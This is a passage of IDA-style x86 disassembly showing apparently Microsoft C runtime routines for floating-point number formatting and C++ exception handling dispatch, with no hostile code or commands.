-0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jz short loc_42C66C mov eax, [ebp+arg_8] push eax lea ecx, [ebp+var_8] push ecx call sub_432B20 add esp, 8 mov edx, [ebp+arg_4] mov eax, [ebp+var_8] mov [edx], eax mov ecx, [ebp+var_4] mov [edx+4], ecx jmp short loc_42C684 ; --------------------------------------------------------------------------- loc_42C66C: ; CODE XREF: sub_42C640+Aj mov edx, [ebp+arg_8] push edx lea eax, [ebp+var_C] push eax call sub_432BA0 add esp, 8 mov ecx, [ebp+arg_4] mov edx, [ebp+var_C] mov [ecx], edx loc_42C684: ; CODE XREF: sub_42C640+2Aj mov esp, ebp pop ebp retn sub_42C640 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C690 proc near ; CODE XREF: sub_42CB20+1Fp var_2C = byte ptr -2Ch var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 2Ch lea eax, [ebp+var_14] mov [ebp+var_4], eax lea ecx, [ebp+var_2C] push ecx lea edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx mov edx, [eax] push edx call sub_432CE0 add esp, 10h mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_8] add ecx, 1 push ecx mov edx, [ebp+var_4] xor eax, eax cmp dword ptr [edx], 2Dh setz al mov ecx, [ebp+arg_4] add ecx, eax xor edx, edx cmp [ebp+arg_8], 0 setnle dl add ecx, edx push ecx call sub_432BE0 add esp, 0Ch push 0 mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax call sub_42C710 add esp, 14h mov eax, [ebp+arg_4] mov esp, ebp pop ebp retn sub_42C690 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C710 proc near ; CODE XREF: sub_42C690+67p ; sub_42CA30+9Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 8 movsx eax, [ebp+arg_10] test eax, eax jz short loc_42C747 mov ecx, [ebp+arg_C] xor edx, edx cmp dword ptr [ecx], 2Dh setz dl mov eax, [ebp+arg_0] add eax, edx mov [ebp+var_4], eax xor ecx, ecx cmp [ebp+arg_4], 0 setnle cl push ecx mov edx, [ebp+var_4] push edx call sub_42CB80 add esp, 8 loc_42C747: ; CODE XREF: sub_42C710+Cj mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 2Dh jnz short loc_42C764 mov edx, [ebp+var_4] mov byte ptr [edx], 2Dh mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_42C764: ; CODE XREF: sub_42C710+43j cmp [ebp+arg_4], 0 jle short loc_42C788 mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov al, [edx+1] mov [ecx], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov al, ds:byte_453DF4 mov [edx], al loc_42C788: ; CODE XREF: sub_42C710+58j push offset aE000 ; "e+000" mov ecx, [ebp+var_4] add ecx, [ebp+arg_4] movsx edx, [ebp+arg_10] neg edx sbb edx, edx inc edx add ecx, edx push ecx call sub_41F620 add esp, 8 mov [ebp+var_4], eax cmp [ebp+arg_8], 0 jz short loc_42C7B6 mov eax, [ebp+var_4] mov byte ptr [eax], 45h loc_42C7B6: ; CODE XREF: sub_42C710+9Ej mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_C] mov eax, [edx+0Ch] movsx ecx, byte ptr [eax] cmp ecx, 30h jz loc_42C86F mov edx, [ebp+arg_C] mov eax, [edx+4] sub eax, 1 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jge short loc_42C7F1 mov ecx, [ebp+var_8] neg ecx mov [ebp+var_8], ecx mov edx, [ebp+var_4] mov byte ptr [edx], 2Dh loc_42C7F1: ; CODE XREF: sub_42C710+D1j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax cmp [ebp+var_8], 64h jl short loc_42C825 mov eax, [ebp+var_8] cdq mov ecx, 64h idiv ecx mov edx, [ebp+var_4] mov cl, [edx] add cl, al mov edx, [ebp+var_4] mov [edx], cl mov eax, [ebp+var_8] cdq mov ecx, 64h idiv ecx mov [ebp+var_8], edx loc_42C825: ; CODE XREF: sub_42C710+EEj mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx cmp [ebp+var_8], 0Ah jl short loc_42C859 mov eax, [ebp+var_8] cdq mov ecx, 0Ah idiv ecx mov edx, [ebp+var_4] mov cl, [edx] add cl, al mov edx, [ebp+var_4] mov [edx], cl mov eax, [ebp+var_8] cdq mov ecx, 0Ah idiv ecx mov [ebp+var_8], edx loc_42C859: ; CODE XREF: sub_42C710+122j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov cl, [eax] add cl, byte ptr [ebp+var_8] mov edx, [ebp+var_4] mov [edx], cl loc_42C86F: ; CODE XREF: sub_42C710+BBj mov eax, [ebp+arg_0] mov esp, ebp pop ebp retn sub_42C710 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C880 proc near ; CODE XREF: sub_42CB20+3Bp var_2C = byte ptr -2Ch var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2Ch lea eax, [ebp+var_14] mov [ebp+var_4], eax lea ecx, [ebp+var_2C] push ecx lea edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx mov edx, [eax] push edx call sub_432CE0 add esp, 10h mov eax, [ebp+var_4] push eax mov ecx, [ebp+var_4] mov edx, [ebp+arg_8] add edx, [ecx+4] push edx mov eax, [ebp+var_4] xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl mov edx, [ebp+arg_4] add edx, ecx push edx call sub_432BE0 add esp, 0Ch push 0 mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx call sub_42C8F0 add esp, 10h mov eax, [ebp+arg_4] mov esp, ebp pop ebp retn sub_42C880 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C8F0 proc near ; CODE XREF: sub_42C880+5Bp ; sub_42CA30+D9p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_8] mov ecx, [eax+4] sub ecx, 1 mov [ebp+var_8], ecx movsx edx, [ebp+arg_C] test edx, edx jz short loc_42C943 mov eax, [ebp+arg_8] xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl mov edx, [ebp+arg_0] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jnz short loc_42C943 mov ecx, [ebp+var_4] add ecx, [ebp+var_8] mov [ebp+var_C], ecx mov edx, [ebp+var_C] mov byte ptr [edx], 30h mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_C] mov byte ptr [ecx], 0 loc_42C943: ; CODE XREF: sub_42C8F0+18j ; sub_42C8F0+33j mov edx, [ebp+arg_0] mov [ebp+var_4], edx mov eax, [ebp+arg_8] cmp dword ptr [eax], 2Dh jnz short loc_42C960 mov ecx, [ebp+var_4] mov byte ptr [ecx], 2Dh mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42C960: ; CODE XREF: sub_42C8F0+5Fj mov eax, [ebp+arg_8] cmp dword ptr [eax+4], 0 jg short loc_42C988 push 1 mov ecx, [ebp+var_4] push ecx call sub_42CB80 add esp, 8 mov edx, [ebp+var_4] mov byte ptr [edx], 30h mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_42C994 ; --------------------------------------------------------------------------- loc_42C988: ; CODE XREF: sub_42C8F0+77j mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] add edx, [ecx+4] mov [ebp+var_4], edx loc_42C994: ; CODE XREF: sub_42C8F0+96j cmp [ebp+arg_4], 0 jle loc_42CA26 push 1 mov eax, [ebp+var_4] push eax call sub_42CB80 add esp, 8 mov ecx, [ebp+var_4] mov dl, ds:byte_453DF4 mov [ecx], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+arg_8] cmp dword ptr [ecx+4], 0 jge short loc_42CA26 movsx edx, [ebp+arg_C] test edx, edx jz short loc_42C9DE mov eax, [ebp+arg_8] mov ecx, [eax+4] neg ecx mov [ebp+arg_4], ecx jmp short loc_42CA04 ; --------------------------------------------------------------------------- loc_42C9DE: ; CODE XREF: sub_42C8F0+DFj mov edx, [ebp+arg_8] mov eax, [edx+4] neg eax cmp [ebp+arg_4], eax jge short loc_42C9F3 mov ecx, [ebp+arg_4] mov [ebp+var_10], ecx jmp short loc_42C9FE ; --------------------------------------------------------------------------- loc_42C9F3: ; CODE XREF: sub_42C8F0+F9j mov edx, [ebp+arg_8] mov eax, [edx+4] neg eax mov [ebp+var_10], eax loc_42C9FE: ; CODE XREF: sub_42C8F0+101j mov ecx, [ebp+var_10] mov [ebp+arg_4], ecx loc_42CA04: ; CODE XREF: sub_42C8F0+ECj mov edx, [ebp+arg_4] push edx mov eax, [ebp+var_4] push eax call sub_42CB80 add esp, 8 mov ecx, [ebp+arg_4] push ecx push 30h mov edx, [ebp+var_4] push edx call sub_41E4B0 add esp, 0Ch loc_42CA26: ; CODE XREF: sub_42C8F0+A8j ; sub_42C8F0+D7j mov eax, [ebp+arg_0] mov esp, ebp pop ebp retn sub_42C8F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CA30 proc near ; CODE XREF: sub_42CB20+55p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 38h mov [ebp+var_30], 0 lea eax, [ebp+var_14] mov [ebp+var_38], eax lea ecx, [ebp+var_2C] push ecx lea edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx mov edx, [eax] push edx call sub_432CE0 add esp, 10h mov eax, [ebp+var_38] mov ecx, [eax+4] sub ecx, 1 mov [ebp+var_34], ecx mov edx, [ebp+var_38] xor eax, eax cmp dword ptr [edx], 2Dh setz al mov ecx, [ebp+arg_4] add ecx, eax mov [ebp+var_4], ecx mov edx, [ebp+var_38] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call sub_432BE0 add esp, 0Ch mov edx, [ebp+var_38] mov eax, [edx+4] sub eax, 1 xor ecx, ecx cmp [ebp+var_34], eax setl cl mov [ebp+var_30], cl mov edx, [ebp+var_38] mov eax, [edx+4] sub eax, 1 mov [ebp+var_34], eax cmp [ebp+var_34], 0FFFFFFFCh jl short loc_42CABB mov ecx, [ebp+var_34] cmp ecx, [ebp+arg_8] jl short loc_42CAD7 loc_42CABB: ; CODE XREF: sub_42CA30+81j push 1 mov edx, [ebp+var_38] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx call sub_42C710 add esp, 14h jmp short loc_42CB11 ; --------------------------------------------------------------------------- loc_42CAD7: ; CODE XREF: sub_42CA30+89j movsx eax, [ebp+var_30] test eax, eax jz short loc_42CAFB loc_42CADF: ; CODE XREF: sub_42CA30+C2j mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax test edx, edx jz short loc_42CAF4 jmp short loc_42CADF ; --------------------------------------------------------------------------- loc_42CAF4: ; CODE XREF: sub_42CA30+C0j mov ecx, [ebp+var_4] mov byte ptr [ecx-2], 0 loc_42CAFB: ; CODE XREF: sub_42CA30+ADj push 1 mov edx, [ebp+var_38] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call sub_42C8F0 add esp, 10h loc_42CB11: ; CODE XREF: sub_42CA30+A5j mov esp, ebp pop ebp retn sub_42CA30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CB20 proc near ; CODE XREF: sub_427F60+6ADp ; DATA XREF: sub_420170+3o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_42CB2F cmp [ebp+arg_8], 45h jnz short loc_42CB49 loc_42CB2F: ; CODE XREF: sub_42CB20+7j mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_42C690 add esp, 10h jmp short loc_42CB7D ; --------------------------------------------------------------------------- loc_42CB49: ; CODE XREF: sub_42CB20+Dj cmp [ebp+arg_8], 66h jnz short loc_42CB65 mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_42C880 add esp, 0Ch jmp short loc_42CB7D ; --------------------------------------------------------------------------- loc_42CB65: ; CODE XREF: sub_42CB20+2Dj mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42CA30 add esp, 10h loc_42CB7D: ; CODE XREF: sub_42CB20+27j ; sub_42CB20+43j pop ebp retn sub_42CB20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CB80 proc near ; CODE XREF: sub_42C710+2Fp ; sub_42C8F0+7Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_4], 0 jz short loc_42CBAC mov eax, [ebp+arg_0] push eax call sub_41BC70 add esp, 4 add eax, 1 push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_0] add edx, [ebp+arg_4] push edx call sub_420840 add esp, 0Ch loc_42CBAC: ; CODE XREF: sub_42CB80+7j pop ebp retn sub_42CB80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CBB0 proc near ; CODE XREF: sub_420420+27p ; sub_420500+2Cp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_10] cmp dword ptr [eax], 19930520h jnz short loc_42CBCA mov [ebp+var_8], 0 jmp short loc_42CBD2 ; --------------------------------------------------------------------------- loc_42CBCA: ; CODE XREF: sub_42CBB0+Fj call sub_42D910 mov [ebp+var_8], eax loc_42CBD2: ; CODE XREF: sub_42CBB0+18j mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, 66h test edx, edx jz short loc_42CC0E mov eax, [ebp+arg_10] cmp dword ptr [eax+4], 0 jz short loc_42CC04 cmp [ebp+arg_14], 0 jnz short loc_42CC04 push 0FFFFFFFFh mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_4] push eax call sub_42D120 add esp, 10h loc_42CC04: ; CODE XREF: sub_42CBB0+36j ; sub_42CBB0+3Cj mov eax, 1 jmp loc_42CC9B ; --------------------------------------------------------------------------- loc_42CC0E: ; CODE XREF: sub_42CBB0+2Dj mov ecx, [ebp+arg_10] cmp dword ptr [ecx+0Ch], 0 jz short loc_42CC96 mov edx, [ebp+arg_0] cmp dword ptr [edx], 0E06D7363h jnz short loc_42CC6E mov eax, [ebp+arg_0] cmp dword ptr [eax+14h], 19930520h jbe short loc_42CC6E mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov eax, [edx+8] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_42CC6E mov ecx, [ebp+arg_1C] and ecx, 0FFh push ecx mov edx, [ebp+arg_18] push edx mov eax, [ebp+arg_14] push eax mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call [ebp+var_4] add esp, 20h jmp short loc_42CC9B ; --------------------------------------------------------------------------- loc_42CC6E: ; CODE XREF: sub_42CBB0+70j ; sub_42CBB0+7Cj ... mov eax, [ebp+arg_18] push eax mov ecx, [ebp+arg_14] push ecx mov dl, byte ptr [ebp+arg_1C] push edx mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42CCA0 add esp, 20h loc_42CC96: ; CODE XREF: sub_42CBB0+65j mov eax, 1 loc_42CC9B: ; CODE XREF: sub_42CBB0+59j ; sub_42CBB0+BCj mov esp, ebp pop ebp retn sub_42CBB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CCA0 proc near ; CODE XREF: sub_42CBB0+DEp var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 30h mov [ebp+var_8], 0 mov eax, [ebp+arg_4] mov ecx, [eax+8] mov [ebp+var_4], ecx cmp [ebp+var_4], 0FFFFFFFFh jl short loc_42CCCD mov edx, [ebp+arg_10] mov eax, [ebp+var_4] cmp eax, [edx+4] jge short loc_42CCCD mov [ebp+var_28], 0 jmp short loc_42CCD5 ; --------------------------------------------------------------------------- loc_42CCCD: ; CODE XREF: sub_42CCA0+17j ; sub_42CCA0+22j call sub_42D910 mov [ebp+var_28], eax loc_42CCD5: ; CODE XREF: sub_42CCA0+2Bj mov ecx, [ebp+arg_0] cmp dword ptr [ecx], 0E06D7363h jnz loc_42CD95 mov edx, [ebp+arg_0] cmp dword ptr [edx+10h], 3 jnz loc_42CD95 mov eax, [ebp+arg_0] cmp dword ptr [eax+14h], 19930520h jnz loc_42CD95 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+1Ch], 0 jnz loc_42CD95 call sub_428EE0 cmp dword ptr [eax+6Ch], 0 jnz short loc_42CD1E jmp loc_42CF3C ; --------------------------------------------------------------------------- loc_42CD1E: ; CODE XREF: sub_42CCA0+77j call sub_428EE0 mov edx, [eax+6Ch] mov [ebp+arg_0], edx call sub_428EE0 mov eax, [eax+70h] mov [ebp+arg_8], eax mov [ebp+var_8], 1 push 1 mov ecx, [ebp+arg_0] push ecx call sub_432F80 add esp, 8 test eax, eax jz short loc_42CD53 mov [ebp+var_2C], 0 jmp short loc_42CD5B ; --------------------------------------------------------------------------- loc_42CD53: ; CODE XREF: sub_42CCA0+A8j call sub_42D910 mov [ebp+var_2C], eax loc_42CD5B: ; CODE XREF: sub_42CCA0+B1j mov edx, [ebp+arg_0] cmp dword ptr [edx], 0E06D7363h jnz short loc_42CD8E mov eax, [ebp+arg_0] cmp dword ptr [eax+10h], 3 jnz short loc_42CD8E mov ecx, [ebp+arg_0] cmp dword ptr [ecx+14h], 19930520h jnz short loc_42CD8E mov edx, [ebp+arg_0] cmp dword ptr [edx+1Ch], 0 jnz short loc_42CD8E call sub_42D910 mov [ebp+var_30], eax jmp short loc_42CD95 ; --------------------------------------------------------------------------- loc_42CD8E: ; CODE XREF: sub_42CCA0+C4j ; sub_42CCA0+CDj ... mov [ebp+var_30], 0 loc_42CD95: ; CODE XREF: sub_42CCA0+3Ej ; sub_42CCA0+4Bj ... mov eax, [ebp+arg_0] cmp dword ptr [eax], 0E06D7363h jnz loc_42CEFC mov ecx, [ebp+arg_0] cmp dword ptr [ecx+10h], 3 jnz loc_42CEFC mov edx, [ebp+arg_0] cmp dword ptr [edx+14h], 19930520h jnz loc_42CEFC lea eax, [ebp+var_C] push eax lea ecx, [ebp+var_14] push ecx mov edx, [ebp+var_4] push edx mov eax, [ebp+arg_18] push eax mov ecx, [ebp+arg_10] push ecx call sub_4206A0 add esp, 14h mov [ebp+var_10], eax jmp short loc_42CDF4 ; --------------------------------------------------------------------------- loc_42CDE2: ; CODE XREF: sub_42CCA0:loc_42CE15j ; sub_42CCA0:loc_42CEDAj mov edx, [ebp+var_14] add edx, 1 mov [ebp+var_14], edx mov eax, [ebp+var_10] add eax, 14h mov [ebp+var_10], eax loc_42CDF4: ; CODE XREF: sub_42CCA0+140j mov ecx, [ebp+var_14] cmp ecx, [ebp+var_C] jnb loc_42CEDF mov edx, [ebp+var_10] mov eax, [edx] cmp eax, [ebp+var_4] jg short loc_42CE15 mov ecx, [ebp+var_10] mov edx, [ebp+var_4] cmp edx, [ecx+4] jle short loc_42CE17 loc_42CE15: ; CODE XREF: sub_42CCA0+168j jmp short loc_42CDE2 ; --------------------------------------------------------------------------- loc_42CE17: ; CODE XREF: sub_42CCA0+173j mov eax, [ebp+var_10] mov ecx, [eax+10h] mov [ebp+var_1C], ecx mov edx, [ebp+var_10] mov eax, [edx+0Ch] mov [ebp+var_24], eax jmp short loc_42CE3D ; --------------------------------------------------------------------------- loc_42CE2B: ; CODE XREF: sub_42CCA0:loc_42CED5j mov ecx, [ebp+var_24] sub ecx, 1 mov [ebp+var_24], ecx mov edx, [ebp+var_1C] add edx, 10h mov [ebp+var_1C], edx loc_42CE3D: ; CODE XREF: sub_42CCA0+189j cmp [ebp+var_24], 0 jle loc_42CEDA mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [ecx+0Ch] add edx, 4 mov [ebp+var_18], edx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [ecx+0Ch] mov eax, [edx] mov [ebp+var_20], eax jmp short loc_42CE78 ; --------------------------------------------------------------------------- loc_42CE66: ; CODE XREF: sub_42CCA0+1FBj mov ecx, [ebp+var_20] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+var_18] add edx, 4 mov [ebp+var_18], edx loc_42CE78: ; CODE XREF: sub_42CCA0+1C4j cmp [ebp+var_20], 0 jle short loc_42CED5 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] push ecx mov edx, [ebp+var_18] mov eax, [edx] push eax mov ecx, [ebp+var_1C] push ecx call sub_42D060 add esp, 0Ch test eax, eax jnz short loc_42CE9D jmp short loc_42CE66 ; --------------------------------------------------------------------------- loc_42CE9D: ; CODE XREF: sub_42CCA0+1F9j mov dl, [ebp+var_8] push edx mov eax, [ebp+arg_1C] push eax mov ecx, [ebp+arg_18] push ecx mov edx, [ebp+var_10] push edx mov eax, [ebp+var_18] mov ecx, [eax] push ecx mov edx, [ebp+var_1C] push edx mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42D250 add esp, 2Ch jmp short loc_42CF3A ; --------------------------------------------------------------------------- loc_42CED5: ; CODE XREF: sub_42CCA0+1DCj jmp loc_42CE2B ; --------------------------------------------------------------------------- loc_42CEDA: ; CODE XREF: sub_42CCA0+1A1j ; sub_42CCA0:loc_42CF3Aj jmp loc_42CDE2 ; --------------------------------------------------------------------------- loc_42CEDF: ; CODE XREF: sub_42CCA0+15Aj mov edx, [ebp+arg_14] and edx, 0FFh test edx, edx jz short loc_42CEFA push 1 mov eax, [ebp+arg_0] push eax call sub_42D730 add esp, 8 loc_42CEFA: ; CODE XREF: sub_42CCA0+24Aj jmp short loc_42CF38 ; --------------------------------------------------------------------------- loc_42CEFC: ; CODE XREF: sub_42CCA0+FEj ; sub_42CCA0+10Bj ... mov ecx, [ebp+arg_14] and ecx, 0FFh test ecx, ecx jnz short loc_42CF33 mov edx, [ebp+arg_1C] push edx mov eax, [ebp+arg_18] push eax mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_42CF40 add esp, 20h jmp short loc_42CF38 ; --------------------------------------------------------------------------- loc_42CF33: ; CODE XREF: sub_42CCA0+267j call sub_42D860 loc_42CF38: ; CODE XREF: sub_42CCA0:loc_42CEFAj ; sub_42CCA0+291j jmp short loc_42CF3C ; --------------------------------------------------------------------------- loc_42CF3A: ; CODE XREF: sub_42CCA0+233j jmp short loc_42CEDA ; --------------------------------------------------------------------------- loc_42CF3C: ; CODE XREF: sub_42CCA0+79j ; sub_42CCA0:loc_42CF38j mov esp, ebp pop ebp retn sub_42CCA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CF40 proc near ; CODE XREF: sub_42CCA0+289p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 0Ch call sub_428EE0 cmp dword ptr [eax+68h], 0 jz short loc_42CF7E mov eax, [ebp+arg_1C] push eax mov ecx, [ebp+arg_18] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_420540 add esp, 1Ch test eax, eax jz short loc_42CF7E jmp loc_42D051 ; --------------------------------------------------------------------------- loc_42CF7E: ; CODE XREF: sub_42CF40+Fj ; sub_42CF40+37j lea ecx, [ebp+var_4] push ecx lea edx, [ebp+var_C] push edx mov eax, [ebp+arg_14] push eax mov ecx, [ebp+arg_18] push ecx mov edx, [ebp+arg_10] push edx call sub_4206A0 add esp, 14h mov [ebp+var_8], eax jmp short loc_42CFB1 ; --------------------------------------------------------------------------- loc_42CF9F: ; CODE XREF: sub_42CF40:loc_42D009j ; sub_42CF40+10Cj mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_8] add ecx, 14h mov [ebp+var_8], ecx loc_42CFB1: ; CODE XREF: sub_42CF40+5Dj mov edx, [ebp+var_C] cmp edx, [ebp+var_4] jnb loc_42D051 mov eax, [ebp+var_8] mov ecx, [ebp+arg_14] cmp ecx, [eax] jl short loc_42D009 mov edx, [ebp+var_8] mov eax, [ebp+arg_14] cmp eax, [edx+4] jg short loc_42D009 mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] sub edx, 1 shl edx, 4 mov eax, [ebp+var_8] mov ecx, [eax+10h] cmp dword ptr [ecx+edx+4], 0 jz short loc_42D00B mov edx, [ebp+var_8] mov eax, [edx+0Ch] sub eax, 1 shl eax, 4 mov ecx, [ebp+var_8] mov edx, [ecx+10h] mov eax, [edx+eax+4] movsx ecx, byte ptr [eax+8] test ecx, ecx jz short loc_42D00B loc_42D009: ; CODE XREF: sub_42CF40+85j ; sub_42CF40+90j jmp short loc_42CF9F ; --------------------------------------------------------------------------- loc_42D00B: ; CODE XREF: sub_42CF40+A9j ; sub_42CF40+C7j push 1 mov edx, [ebp+arg_1C] push edx mov eax, [ebp+arg_18] push eax mov ecx, [ebp+var_8] push ecx push 0 mov edx, [ebp+var_8] mov eax, [edx+0Ch] sub eax, 1 shl eax, 4 mov ecx, [ebp+var_8] mov edx, [ecx+10h] add edx, eax push edx mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42D250 add esp, 2Ch jmp loc_42CF9F ; --------------------------------------------------------------------------- loc_42D051: ; CODE XREF: sub_42CF40+39j ; sub_42CF40+77j mov esp, ebp pop ebp retn sub_42CF40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D060 proc near ; CODE XREF: sub_42CCA0+1EFp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = 